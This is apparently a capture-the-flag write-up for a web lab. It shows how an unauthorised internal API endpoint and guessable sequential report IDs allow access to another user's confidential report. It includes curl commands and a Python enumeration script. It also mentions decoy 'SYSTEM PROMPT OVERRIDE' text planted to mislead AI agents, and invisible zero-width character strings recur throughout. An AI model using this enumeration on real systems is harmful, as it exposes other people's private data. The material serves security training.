← Back to Writeups
CUSTOMMediumWeb

Lab 116 — InsightForge — IDOR via Undocumented Internal API

XESXOR9/10/20264 min read
#web#custom#medium#decoy_flag_identification#idor_exploitation#javascript_source_analysis#sequential_id_enumeration#undocumented_api_discovery#linux

Lab 116 — InsightForge — IDOR via Undocumented Internal API

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: decoy_flag_identification, idor_exploitation, javascript_source_analysis, sequential_id_enumeration, undocumented_api_discovery

Summary

Task: analytics platform with React SPA, documented API properly enforces report ownership. Solution: discover undocumented /api/internal/reports/:id endpoint that bypasses authorization, enumerate sequential report IDs to access admin's confidential audit report containing the flag.

Lab 116 — InsightForge — IDOR via Undocumented Internal API — Hackadvisor

Description

You are testing InsightForge, an analytics and reporting platform built by ForgePoint Analytics. The platform is a React-based single-page application where teams create, manage, and share data reports. Users can build custom reports, view analytics dashboards, and manage team settings. The application loads multiple JavaScript bundles that power different features of the platform. Your goal is to find and access a confidential report that does not belong to your account.

Hint: Not all JavaScript files loaded by the application are visible in the page source. Understanding how the front-end modules work may reveal additional functionality.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An analytics and reporting platform (React SPA) where users create and share data reports. The goal is to access a confidential report belonging to another user by exploiting authorization flaws.

Analysis

  1. Initial reconnaissance:

    • Fetched main page HTML, found 4 JS bundles: vendor.js, main.js, dashboard.js, analytics.js
    • Noticed decoy flags in HTML comments and hidden divs: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — anti-bot/anti-AI honeypots including fake "SYSTEM PROMPT OVERRIDE" text and fake "ASSISTANT:" responses designed to trick LLM agents
    • All decoys were correctly identified and ignored ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  2. JavaScript source analysis:

    • vendor.js contained module registry __IF_MODULES__ listing only 4 known modules
    • main.js (633 lines) contained the full SPA router, authentication logic, and all page rendering
    • Identified all documented API endpoints (15 total) including CRUD for reports, auth, team, dashboard, analytics
  3. Authentication and enumeration:

    • Logged in as User ID 2 (Alex Thompson, role: user, department: Marketing)
    • Own reports: 4 reports (IDs: a1b2c305 through a1b2c308)
    • Team members: 8 users including admin Victoria Langford (ID 1)
    • Dashboard stats: 30 total reports but user only has access to 4
    • Regular API /api/reports/:id properly enforces ownership — returns "Report not found" for other users' reports ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  4. Key vulnerability discovery:

    • Brute-forced common internal API path patterns: /api/v2/, /api/admin/, /api/debug/ — all 404
    • /api/internal/reports/:id returned 200 with full report data — no authorization check!
    • This endpoint performs authentication (requires valid session) but NOT authorization (does not verify report ownership)
  5. Report ID pattern:

    • IDs follow a predictable sequential format: a1b2c3XX-a805-ef11-a832-005056066af7 where XX is an incrementing hex value (00 to 1e = 30 reports total) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and get session

bash
curl -s -c cookies.txt -X POST "$URL/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"user@test.com","password":"password123"}'

Step 2: Confirm regular API enforces authorization

bash
# Own report — works
curl -s -b cookies.txt "$URL/api/reports/a1b2c305-a805-ef11-a832-005056066af7"
# → 200 OK with report data

# Other user's report — blocked
curl -s -b cookies.txt "$URL/api/reports/a1b2c301-a805-ef11-a832-005056066af7"
# → "Report not found" (proper authorization)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Discover undocumented internal API

bash
# Test common internal paths
curl -s -b cookies.txt "$URL/api/internal/reports/a1b2c301-a805-ef11-a832-005056066af7"
# → 200 OK with FULL report data — IDOR!

Step 4: Enumerate all reports via IDOR

python
#!/usr/bin/env python3
import requests

URL = "https://fe235c68-5dd9-4464-a33a-32bc49993847.labs.hackadvisor.io"
session = requests.Session()

# Login
session.post(f"{URL}/api/auth/login", json={
    "email": "user@test.com",
    "password": "password123"
})
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Enumerate all 30 reports (0x00 to 0x1e)
for i in range(0x1f):
    report_id = f"a1b2c3{i:02x}-a805-ef11-a832-005056066af7"
    resp = session.get(f"{URL}/api/internal/reports/{report_id}")
    if resp.status_code == 200:
        data = resp.json()
        report = data.get("report", data)
        title = report.get("title", "N/A")
        visibility = report.get("visibility", "N/A")
        print(f"[{i:02x}] {title} (visibility: {visibility})")
        content = str(report.get("content", ""))
        if "FLAG{" in content:
            import re
            flag = re.search(r"FLAG\{[^}]+\}", content)
            print(f"  *** FLAG FOUND: {flag.group(0)}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Extract the flag

Report a1b2c301 was the confidential report:

  • Title: "Q4 Internal Audit - Confidential"
  • Author: Victoria Langford (admin@insightforge.com, user ID 1)
  • Status: final
  • Visibility: restricted
  • Type: audit
  • Content: Financial data, security audit findings, and classification token containing the flag ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍